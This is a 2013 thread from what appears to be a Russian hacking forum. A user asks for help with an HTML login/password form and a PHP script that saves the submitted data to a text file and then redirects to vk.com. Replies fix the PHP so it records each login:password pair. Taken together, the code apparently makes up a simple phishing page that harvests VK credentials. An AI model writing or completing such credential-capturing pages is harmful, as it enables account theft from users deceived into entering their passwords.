1. Теперь за форумную активность начисляются биткоины и другие криптоденьги. Подробнее.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

Вообщем чуть чуть с кодом запутался)

Тема в разделе "CSS, HTML, JS", создана пользователем dragon123wer, 13 апр 2013.

  1. dragon123wer
    dragon123wer Banned
    Симпатии:
    12
    Вообщем чуть чуть с кодом запутался)
    Имеется форма для ввода данных на html:
    PHP:
    <form  action="http://site.com/form.php" method="POST">
       
       
         <
    table border="0" align="center">

         <
    tr>
         <
    td class="avto">Логин:
         </
    td>
         <
    td > <input type="text" name="login" size="30">
         </
    td>
         </
    tr>

         <
    tr>
         <
    td class="atvo">Пароль:
         </
    td>
         <
    td><input type="text" name="pass" size="30">
         </
    td>
         </
    tr>



         <
    tr>
         <
    td colspan="2" align="center">

         <
    input type="submit" value="Отправить">
         <
    input type="reset" value="Очистить">
         </
    td>
         </
    tr>


         </
    table>
       
    </
    form>
    И PHP скрипт, файл обработчик, который якобы сохраняет данные в файл с формы:

    PHP:
    <?php
    if ($_POST['1']);
    $file=fopen('1.txt','a+');
    fputs($file,$_POST['1']);
    fclose($file);
    echo 
    'Всё Ок, Кэп!';
    ?>
    Но вот не работает) Поправьте PHP скрпит плз. И кстати, после записи в файл нужен редирект на сайт vk.com) ну это легко, а вот с формой запутался))) Прошу помощи.
     
    13 апр 2013
  2. хопкинс
    хопкинс Новичок
    Симпатии:
    35
    Хм. я могу конечно ошибаться. Но если в if стоит несколько операций, то нужно ставить фигурные скобки.тоесть вот так:

    PHP:
     <?php
    if ($_POST['1']) {
    $file=fopen('1.txt','a+');
    fputs($file,$_POST['1']);
    fclose($file);
    echo 
    'Всё Ок, Кэп!'; }
    ?> 
     
    12 май 2013
  3. FanOfGun
    FanOfGun Продвинутый
    Симпатии:
    15
    Плюс ты пишешь в файл поле с именем '1', а нужно
    PHP:
    fputs($file,$_POST['login'].":".$_POST['pass']."\n");
    (это вместо fputs($file,$_POST['1']); )

    UPD. И условие не забудь подправить
     
    12 май 2013

Поделиться этой страницей

Загрузка...